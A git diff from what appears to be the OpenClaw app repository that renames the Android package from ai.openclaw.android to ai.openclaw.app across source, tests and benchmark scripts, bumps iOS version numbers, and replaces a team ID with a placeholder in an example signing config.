apps/android/app/src/main/java/ai/openclaw/app/voice/TalkModeManager.kt index 3b20b4f5429..b1fe774a80b 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/voice/TalkModeManager.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/voice/TalkModeManager.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.voice +package ai.openclaw.app.voice import android.Manifest import android.content.Context @@ -21,9 +21,9 @@ import android.speech.tts.TextToSpeech import android.speech.tts.UtteranceProgressListener import android.util.Log import androidx.core.content.ContextCompat -import ai.openclaw.android.gateway.GatewaySession -import ai.openclaw.android.isCanonicalMainSessionKey -import ai.openclaw.android.normalizeMainKey +import ai.openclaw.app.gateway.GatewaySession +import ai.openclaw.app.isCanonicalMainSessionKey +import ai.openclaw.app.normalizeMainKey import java.io.File import java.net.HttpURLConnection import java.net.URL diff --git a/apps/android/app/src/main/java/ai/openclaw/android/voice/VoiceWakeCommandExtractor.kt b/apps/android/app/src/main/java/ai/openclaw/app/voice/VoiceWakeCommandExtractor.kt similarity index 97% rename from apps/android/app/src/main/java/ai/openclaw/android/voice/VoiceWakeCommandExtractor.kt rename to apps/android/app/src/main/java/ai/openclaw/app/voice/VoiceWakeCommandExtractor.kt index dccd3950c90..efa9be0547c 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/voice/VoiceWakeCommandExtractor.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/voice/VoiceWakeCommandExtractor.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.voice +package ai.openclaw.app.voice object VoiceWakeCommandExtractor { fun extractCommand(text: String, triggerWords: List): String? { diff --git a/apps/android/app/src/main/java/ai/openclaw/android/voice/VoiceWakeManager.kt b/apps/android/app/src/main/java/ai/openclaw/app/voice/VoiceWakeManager.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/voice/VoiceWakeManager.kt rename to apps/android/app/src/main/java/ai/openclaw/app/voice/VoiceWakeManager.kt index 334f985a028..a6395429a82 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/voice/VoiceWakeManager.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/voice/VoiceWakeManager.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.voice +package ai.openclaw.app.voice import android.content.Context import android.content.Intent diff --git a/apps/android/app/src/test/java/ai/openclaw/android/NodeForegroundServiceTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/NodeForegroundServiceTest.kt similarity index 98% rename from apps/android/app/src/test/java/ai/openclaw/android/NodeForegroundServiceTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/NodeForegroundServiceTest.kt index 7a81936ecd2..fddc347f487 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/NodeForegroundServiceTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/NodeForegroundServiceTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android +package ai.openclaw.app import android.app.Notification import android.content.Intent diff --git a/apps/android/app/src/test/java/ai/openclaw/android/WakeWordsTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/WakeWordsTest.kt similarity index 98% rename from apps/android/app/src/test/java/ai/openclaw/android/WakeWordsTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/WakeWordsTest.kt index 55730e2f5ab..2e255e1598d 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/WakeWordsTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/WakeWordsTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android +package ai.openclaw.app import org.junit.Assert.assertEquals import org.junit.Assert.assertNull diff --git a/apps/android/app/src/test/java/ai/openclaw/android/gateway/BonjourEscapesTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/gateway/BonjourEscapesTest.kt similarity index 93% rename from apps/android/app/src/test/java/ai/openclaw/android/gateway/BonjourEscapesTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/gateway/BonjourEscapesTest.kt index fe00e50a72d..f0db7f05b87 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/gateway/BonjourEscapesTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/gateway/BonjourEscapesTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.gateway +package ai.openclaw.app.gateway import org.junit.Assert.assertEquals import org.junit.Test diff --git a/apps/android/app/src/test/java/ai/openclaw/android/gateway/DeviceAuthPayloadTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/gateway/DeviceAuthPayloadTest.kt similarity index 96% rename from apps/android/app/src/test/java/ai/openclaw/android/gateway/DeviceAuthPayloadTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/gateway/DeviceAuthPayloadTest.kt index 95e145fb11f..4f7e7eab978 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/gateway/DeviceAuthPayloadTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/gateway/DeviceAuthPayloadTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.gateway +package ai.openclaw.app.gateway import org.junit.Assert.assertEquals import org.junit.Test diff --git a/apps/android/app/src/test/java/ai/openclaw/android/gateway/GatewaySessionInvokeTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/gateway/GatewaySessionInvokeTest.kt similarity index 99% rename from apps/android/app/src/test/java/ai/openclaw/android/gateway/GatewaySessionInvokeTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/gateway/GatewaySessionInvokeTest.kt index 03930ee2a8b..a3f301498c8 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/gateway/GatewaySessionInvokeTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/gateway/GatewaySessionInvokeTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.gateway +package ai.openclaw.app.gateway import kotlinx.coroutines.CompletableDeferred import kotlinx.coroutines.CoroutineScope diff --git a/apps/android/app/src/test/java/ai/openclaw/android/gateway/GatewaySessionInvokeTimeoutTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/gateway/GatewaySessionInvokeTimeoutTest.kt similarity index 97% rename from apps/android/app/src/test/java/ai/openclaw/android/gateway/GatewaySessionInvokeTimeoutTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/gateway/GatewaySessionInvokeTimeoutTest.kt index cd08715c405..043d029d367 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/gateway/GatewaySessionInvokeTimeoutTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/gateway/GatewaySessionInvokeTimeoutTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.gateway +package ai.openclaw.app.gateway import org.junit.Assert.assertEquals import org.junit.Test diff --git a/apps/android/app/src/test/java/ai/openclaw/android/gateway/InvokeErrorParserTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/gateway/InvokeErrorParserTest.kt similarity index 97% rename from apps/android/app/src/test/java/ai/openclaw/android/gateway/InvokeErrorParserTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/gateway/InvokeErrorParserTest.kt index ca8e8f21424..f30cd27ed5c 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/gateway/InvokeErrorParserTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/gateway/InvokeErrorParserTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.gateway +package ai.openclaw.app.gateway import org.junit.Assert.assertEquals import org.junit.Assert.assertFalse diff --git a/apps/android/app/src/test/java/ai/openclaw/android/node/AppUpdateHandlerTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/node/AppUpdateHandlerTest.kt similarity index 96% rename from apps/android/app/src/test/java/ai/openclaw/android/node/AppUpdateHandlerTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/node/AppUpdateHandlerTest.kt index 743ed92c6d5..e0bad8e1fd1 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/node/AppUpdateHandlerTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/node/AppUpdateHandlerTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import java.io.File import org.junit.Assert.assertEquals @@ -55,7 +55,7 @@ class AppUpdateHandlerTest { try { tmp.writeText("hello", Charsets.UTF_8) assertEquals( - "2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824", + "2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824", // pragma: allowlist secret sha256Hex(tmp), ) } finally { diff --git a/apps/android/app/src/test/java/ai/openclaw/android/node/CalendarHandlerTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/node/CalendarHandlerTest.kt similarity index 99% rename from apps/android/app/src/test/java/ai/openclaw/android/node/CalendarHandlerTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/node/CalendarHandlerTest.kt index ca236da7d46..61d9859b36c 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/node/CalendarHandlerTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/node/CalendarHandlerTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.content.Context import kotlinx.serialization.json.Json diff --git a/apps/android/app/src/test/java/ai/openclaw/android/node/CameraHandlerTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/node/CameraHandlerTest.kt similarity index 95% rename from apps/android/app/src/test/java/ai/openclaw/android/node/CameraHandlerTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/node/CameraHandlerTest.kt index 470f925a7d4..5a60562b421 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/node/CameraHandlerTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/node/CameraHandlerTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import org.junit.Assert.assertEquals import org.junit.Assert.assertFalse diff --git a/apps/android/app/src/test/java/ai/openclaw/android/node/CanvasControllerSnapshotParamsTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/node/CanvasControllerSnapshotParamsTest.kt similarity index 97% rename from apps/android/app/src/test/java/ai/openclaw/android/node/CanvasControllerSnapshotParamsTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/node/CanvasControllerSnapshotParamsTest.kt index dd1b9d5d19a..f1e204482ce 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/node/CanvasControllerSnapshotParamsTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/node/CanvasControllerSnapshotParamsTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import org.junit.Assert.assertEquals import org.junit.Assert.assertNull diff --git a/apps/android/app/src/test/java/ai/openclaw/android/node/ConnectionManagerTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/node/ConnectionManagerTest.kt similarity index 95% rename from apps/android/app/src/test/java/ai/openclaw/android/node/ConnectionManagerTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/node/ConnectionManagerTest.kt index 534b90a2121..62753f6b391 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/node/ConnectionManagerTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/node/ConnectionManagerTest.kt @@ -1,6 +1,6 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node -import ai.openclaw.android.gateway.GatewayEndpoint +import ai.openclaw.app.gateway.GatewayEndpoint import org.junit.Assert.assertEquals import org.junit.Assert.assertNull import org.junit.Test diff --git a/apps/android/app/src/test/java/ai/openclaw/android/node/ContactsHandlerTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/node/ContactsHandlerTest.kt similarity index 99% rename from apps/android/app/src/test/java/ai/openclaw/android/node/ContactsHandlerTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/node/ContactsHandlerTest.kt index 39242dc9f82..09becee4b7f 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/node/ContactsHandlerTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/node/ContactsHandlerTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.content.Context import kotlinx.serialization.json.Json diff --git a/apps/android/app/src/test/java/ai/openclaw/android/node/DeviceHandlerTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/node/DeviceHandlerTest.kt similarity index 99% rename from apps/android/app/src/test/java/ai/openclaw/android/node/DeviceHandlerTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/node/DeviceHandlerTest.kt index 6232b0c9e11..5574baf6e14 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/node/DeviceHandlerTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/node/DeviceHandlerTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.content.Context import kotlinx.serialization.json.Json diff --git a/apps/android/app/src/test/java/ai/openclaw/android/node/InvokeCommandRegistryTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/node/InvokeCommandRegistryTest.kt similarity index 87% rename from apps/android/app/src/test/java/ai/openclaw/android/node/InvokeCommandRegistryTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/node/InvokeCommandRegistryTest.kt index 0b8548ab215..58c89f1cd52 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/node/InvokeCommandRegistryTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/node/InvokeCommandRegistryTest.kt @@ -1,16 +1,16 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node -import ai.openclaw.android.protocol.OpenClawCalendarCommand -import ai.openclaw.android.protocol.OpenClawCameraCommand -import ai.openclaw.android.protocol.OpenClawCapability -import ai.openclaw.android.protocol.OpenClawContactsCommand -import ai.openclaw.android.protocol.OpenClawDeviceCommand -import ai.openclaw.android.protocol.OpenClawLocationCommand -import ai.openclaw.android.protocol.OpenClawMotionCommand -import ai.openclaw.android.protocol.OpenClawNotificationsCommand -import ai.openclaw.android.protocol.OpenClawPhotosCommand -import ai.openclaw.android.protocol.OpenClawSmsCommand -import ai.openclaw.android.protocol.OpenClawSystemCommand +import ai.openclaw.app.protocol.OpenClawCalendarCommand +import ai.openclaw.app.protocol.OpenClawCameraCommand +import ai.openclaw.app.protocol.OpenClawCapability +import ai.openclaw.app.protocol.OpenClawContactsCommand +import ai.openclaw.app.protocol.OpenClawDeviceCommand +import ai.openclaw.app.protocol.OpenClawLocationCommand +import ai.openclaw.app.protocol.OpenClawMotionCommand +import ai.openclaw.app.protocol.OpenClawNotificationsCommand +import ai.openclaw.app.protocol.OpenClawPhotosCommand +import ai.openclaw.app.protocol.OpenClawSmsCommand +import ai.openclaw.app.protocol.OpenClawSystemCommand import org.junit.Assert.assertFalse import org.junit.Assert.assertTrue import org.junit.Test diff --git a/apps/android/app/src/test/java/ai/openclaw/android/node/JpegSizeLimiterTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/node/JpegSizeLimiterTest.kt similarity index 97% rename from apps/android/app/src/test/java/ai/openclaw/android/node/JpegSizeLimiterTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/node/JpegSizeLimiterTest.kt index 5de1dd5451a..8ede18ed8d9 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/node/JpegSizeLimiterTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/node/JpegSizeLimiterTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import org.junit.Assert.assertEquals import org.junit.Assert.assertTrue diff --git a/apps/android/app/src/test/java/ai/openclaw/android/node/MotionHandlerTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/node/MotionHandlerTest.kt similarity index 99% rename from apps/android/app/src/test/java/ai/openclaw/android/node/MotionHandlerTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/node/MotionHandlerTest.kt index c7eff170a0c..c6fad294871 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/node/MotionHandlerTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/node/MotionHandlerTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.content.Context import kotlinx.coroutines.test.runTest diff --git a/apps/android/app/src/test/java/ai/openclaw/android/node/NodeHandlerRobolectricTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/node/NodeHandlerRobolectricTest.kt similarity index 90% rename from apps/android/app/src/test/java/ai/openclaw/android/node/NodeHandlerRobolectricTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/node/NodeHandlerRobolectricTest.kt index 8138c7039fd..d89a9b188bb 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/node/NodeHandlerRobolectricTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/node/NodeHandlerRobolectricTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.content.Context import org.junit.runner.RunWith diff --git a/apps/android/app/src/test/java/ai/openclaw/android/node/NotificationsHandlerTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/node/NotificationsHandlerTest.kt similarity index 99% rename from apps/android/app/src/test/java/ai/openclaw/android/node/NotificationsHandlerTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/node/NotificationsHandlerTest.kt index 26869cad9ee..dc609bff47f 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/node/NotificationsHandlerTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/node/NotificationsHandlerTest.kt @@ -1,7 +1,7 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.content.Context -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.gateway.GatewaySession import kotlinx.coroutines.test.runTest import kotlinx.serialization.json.Json import kotlinx.serialization.json.JsonObject diff --git a/apps/android/app/src/test/java/ai/openclaw/android/node/PhotosHandlerTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/node/PhotosHandlerTest.kt similarity index 98% rename from apps/android/app/src/test/java/ai/openclaw/android/node/PhotosHandlerTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/node/PhotosHandlerTest.kt index 707d886d74f..82318b3524c 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/node/PhotosHandlerTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/node/PhotosHandlerTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.content.Context import kotlinx.serialization.json.Json diff --git a/apps/android/app/src/test/java/ai/openclaw/android/node/SmsManagerTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/node/SmsManagerTest.kt similarity index 98% rename from apps/android/app/src/test/java/ai/openclaw/android/node/SmsManagerTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/node/SmsManagerTest.kt index a3d61329b4a..c1b98908f08 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/node/SmsManagerTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/node/SmsManagerTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import kotlinx.serialization.json.jsonObject import kotlinx.serialization.json.jsonPrimitive diff --git a/apps/android/app/src/test/java/ai/openclaw/android/node/SystemHandlerTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/node/SystemHandlerTest.kt similarity index 98% rename from apps/android/app/src/test/java/ai/openclaw/android/node/SystemHandlerTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/node/SystemHandlerTest.kt index 770d1920c76..994864cf364 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/node/SystemHandlerTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/node/SystemHandlerTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import org.junit.Assert.assertEquals import org.junit.Assert.assertFalse diff --git a/apps/android/app/src/test/java/ai/openclaw/android/protocol/OpenClawCanvasA2UIActionTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/protocol/OpenClawCanvasA2UIActionTest.kt similarity index 97% rename from apps/android/app/src/test/java/ai/openclaw/android/protocol/OpenClawCanvasA2UIActionTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/protocol/OpenClawCanvasA2UIActionTest.kt index c767d2eb910..7879534da0b 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/protocol/OpenClawCanvasA2UIActionTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/protocol/OpenClawCanvasA2UIActionTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.protocol +package ai.openclaw.app.protocol import kotlinx.serialization.json.Json import kotlinx.serialization.json.jsonObject diff --git a/apps/android/app/src/test/java/ai/openclaw/android/protocol/OpenClawProtocolConstantsTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/protocol/OpenClawProtocolConstantsTest.kt similarity index 98% rename from apps/android/app/src/test/java/ai/openclaw/android/protocol/OpenClawProtocolConstantsTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/protocol/OpenClawProtocolConstantsTest.kt index cd1cf847101..25eda3872e3 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/protocol/OpenClawProtocolConstantsTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/protocol/OpenClawProtocolConstantsTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.protocol +package ai.openclaw.app.protocol import org.junit.Assert.assertEquals import org.junit.Test diff --git a/apps/android/app/src/test/java/ai/openclaw/android/ui/GatewayConfigResolverTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/ui/GatewayConfigResolverTest.kt similarity index 98% rename from apps/android/app/src/test/java/ai/openclaw/android/ui/GatewayConfigResolverTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/ui/GatewayConfigResolverTest.kt index 7dc2dd1a239..72738843ff0 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/ui/GatewayConfigResolverTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/ui/GatewayConfigResolverTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui +package ai.openclaw.app.ui import java.util.Base64 import org.junit.Assert.assertEquals diff --git a/apps/android/app/src/test/java/ai/openclaw/android/ui/chat/SessionFiltersTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/ui/chat/SessionFiltersTest.kt similarity index 93% rename from apps/android/app/src/test/java/ai/openclaw/android/ui/chat/SessionFiltersTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/ui/chat/SessionFiltersTest.kt index 8e9e5800095..604e78cae3d 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/ui/chat/SessionFiltersTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/ui/chat/SessionFiltersTest.kt @@ -1,6 +1,6 @@ -package ai.openclaw.android.ui.chat +package ai.openclaw.app.ui.chat -import ai.openclaw.android.chat.ChatSessionEntry +import ai.openclaw.app.chat.ChatSessionEntry import org.junit.Assert.assertEquals import org.junit.Test diff --git a/apps/android/app/src/test/java/ai/openclaw/android/voice/TalkDirectiveParserTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/voice/TalkDirectiveParserTest.kt similarity index 97% rename from apps/android/app/src/test/java/ai/openclaw/android/voice/TalkDirectiveParserTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/voice/TalkDirectiveParserTest.kt index 77d62849c6c..b7a18947a13 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/voice/TalkDirectiveParserTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/voice/TalkDirectiveParserTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.voice +package ai.openclaw.app.voice import org.junit.Assert.assertEquals import org.junit.Assert.assertNull diff --git a/apps/android/app/src/test/java/ai/openclaw/android/voice/TalkModeConfigParsingTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/voice/TalkModeConfigParsingTest.kt similarity index 82% rename from apps/android/app/src/test/java/ai/openclaw/android/voice/TalkModeConfigParsingTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/voice/TalkModeConfigParsingTest.kt index 5daa62080d7..9e224552ade 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/voice/TalkModeConfigParsingTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/voice/TalkModeConfigParsingTest.kt @@ -1,8 +1,10 @@ -package ai.openclaw.android.voice +package ai.openclaw.app.voice import kotlinx.serialization.json.Json +import kotlinx.serialization.json.buildJsonObject import kotlinx.serialization.json.jsonPrimitive import kotlinx.serialization.json.jsonObject +import kotlinx.serialization.json.put import org.junit.Assert.assertEquals import org.junit.Assert.assertNotNull import org.junit.Assert.assertTrue @@ -38,16 +40,12 @@ class TalkModeConfigParsingTest { @Test fun fallsBackToLegacyTalkFieldsWhenNormalizedPayloadMissing() { + val legacyApiKey = "legacy-key" // pragma: allowlist secret val talk = - json.parseToJsonElement( - """ - { - "voiceId": "voice-legacy", - "apiKey": "legacy-key" - } - """.trimIndent(), - ) - .jsonObject + buildJsonObject { + put("voiceId", "voice-legacy") + put("apiKey", legacyApiKey) // pragma: allowlist secret + } val selection = TalkModeManager.selectTalkProviderConfig(talk) assertNotNull(selection) diff --git a/apps/android/app/src/test/java/ai/openclaw/android/voice/VoiceWakeCommandExtractorTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/voice/VoiceWakeCommandExtractorTest.kt similarity index 95% rename from apps/android/app/src/test/java/ai/openclaw/android/voice/VoiceWakeCommandExtractorTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/voice/VoiceWakeCommandExtractorTest.kt index 76b50d8abcd..2e2e5d87402 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/voice/VoiceWakeCommandExtractorTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/voice/VoiceWakeCommandExtractorTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.voice +package ai.openclaw.app.voice import org.junit.Assert.assertEquals import org.junit.Assert.assertNull diff --git a/apps/android/benchmark/build.gradle.kts b/apps/android/benchmark/build.gradle.kts index 5e186e9d2c1..a59bfe3c5e2 100644 --- a/apps/android/benchmark/build.gradle.kts +++ b/apps/android/benchmark/build.gradle.kts @@ -4,7 +4,7 @@ plugins { } android { - namespace = "ai.openclaw.android.benchmark" + namespace = "ai.openclaw.app.benchmark" compileSdk = 36 defaultConfig { diff --git a/apps/android/benchmark/src/main/java/ai/openclaw/android/benchmark/StartupMacrobenchmark.kt b/apps/android/benchmark/src/main/java/ai/openclaw/app/benchmark/StartupMacrobenchmark.kt similarity index 96% rename from apps/android/benchmark/src/main/java/ai/openclaw/android/benchmark/StartupMacrobenchmark.kt rename to apps/android/benchmark/src/main/java/ai/openclaw/app/benchmark/StartupMacrobenchmark.kt index 46181f6a9a1..f3e56789dcf 100644 --- a/apps/android/benchmark/src/main/java/ai/openclaw/android/benchmark/StartupMacrobenchmark.kt +++ b/apps/android/benchmark/src/main/java/ai/openclaw/app/benchmark/StartupMacrobenchmark.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.benchmark +package ai.openclaw.app.benchmark import androidx.benchmark.macro.CompilationMode import androidx.benchmark.macro.FrameTimingMetric @@ -18,7 +18,7 @@ class StartupMacrobenchmark { @get:Rule val benchmarkRule = MacrobenchmarkRule() - private val packageName = "ai.openclaw.android" + private val packageName = "ai.openclaw.app" @Test fun coldStartup() { diff --git a/apps/android/scripts/perf-startup-benchmark.sh b/apps/android/scripts/perf-startup-benchmark.sh index 70342d3cba4..b85ec220220 100755 --- a/apps/android/scripts/perf-startup-benchmark.sh +++ b/apps/android/scripts/perf-startup-benchmark.sh @@ -4,7 +4,7 @@ set -euo pipefail SCRIPT_DIR="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)" ANDROID_DIR="$(cd -- "$SCRIPT_DIR/.." && pwd)" RESULTS_DIR="$ANDROID_DIR/benchmark/results" -CLASS_FILTER="ai.openclaw.android.benchmark.StartupMacrobenchmark#coldStartup" +CLASS_FILTER="ai.openclaw.app.benchmark.StartupMacrobenchmark#coldStartup" BASELINE_JSON="" usage() { diff --git a/apps/android/scripts/perf-startup-hotspots.sh b/apps/android/scripts/perf-startup-hotspots.sh index 787d5fac300..ab34b7913d4 100755 --- a/apps/android/scripts/perf-startup-hotspots.sh +++ b/apps/android/scripts/perf-startup-hotspots.sh @@ -4,7 +4,7 @@ set -euo pipefail SCRIPT_DIR="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)" ANDROID_DIR="$(cd -- "$SCRIPT_DIR/.." && pwd)" -PACKAGE="ai.openclaw.android" +PACKAGE="ai.openclaw.app" ACTIVITY=".MainActivity" DURATION_SECONDS="10" OUTPUT_PERF_DATA="" diff --git a/apps/ios/ActivityWidget/Info.plist b/apps/ios/ActivityWidget/Info.plist index 4e12dc4f884..c404f71dba2 100644 --- a/apps/ios/ActivityWidget/Info.plist +++ b/apps/ios/ActivityWidget/Info.plist @@ -17,9 +17,9 @@ CFBundlePackageType XPC! CFBundleShortVersionString - 2026.3.2 + 2026.3.7 CFBundleVersion - 20260301 + 20260307 NSExtension NSExtensionPointIdentifier diff --git a/apps/ios/LocalSigning.xcconfig.example b/apps/ios/LocalSigning.xcconfig.example index bfa610fb350..64e8f119dec 100644 --- a/apps/ios/LocalSigning.xcconfig.example +++ b/apps/ios/LocalSigning.xcconfig.example @@ -2,12 +2,13 @@ // This file is only an example and should stay committed. OPENCLAW_CODE_SIGN_STYLE = Automatic -OPENCLAW_DEVELOPMENT_TEAM = P5Z8X89DJL +OPENCLAW_DEVELOPMENT_TEAM = YOUR_TEAM_ID -OPENCLAW_APP_BUNDLE_ID = ai.openclaw.ios.test.mariano -OPENCLAW_SHARE_BUNDLE_ID = ai.openclaw.ios.test.mariano.share -OPENCLAW_WATCH_APP_BUNDLE_ID = 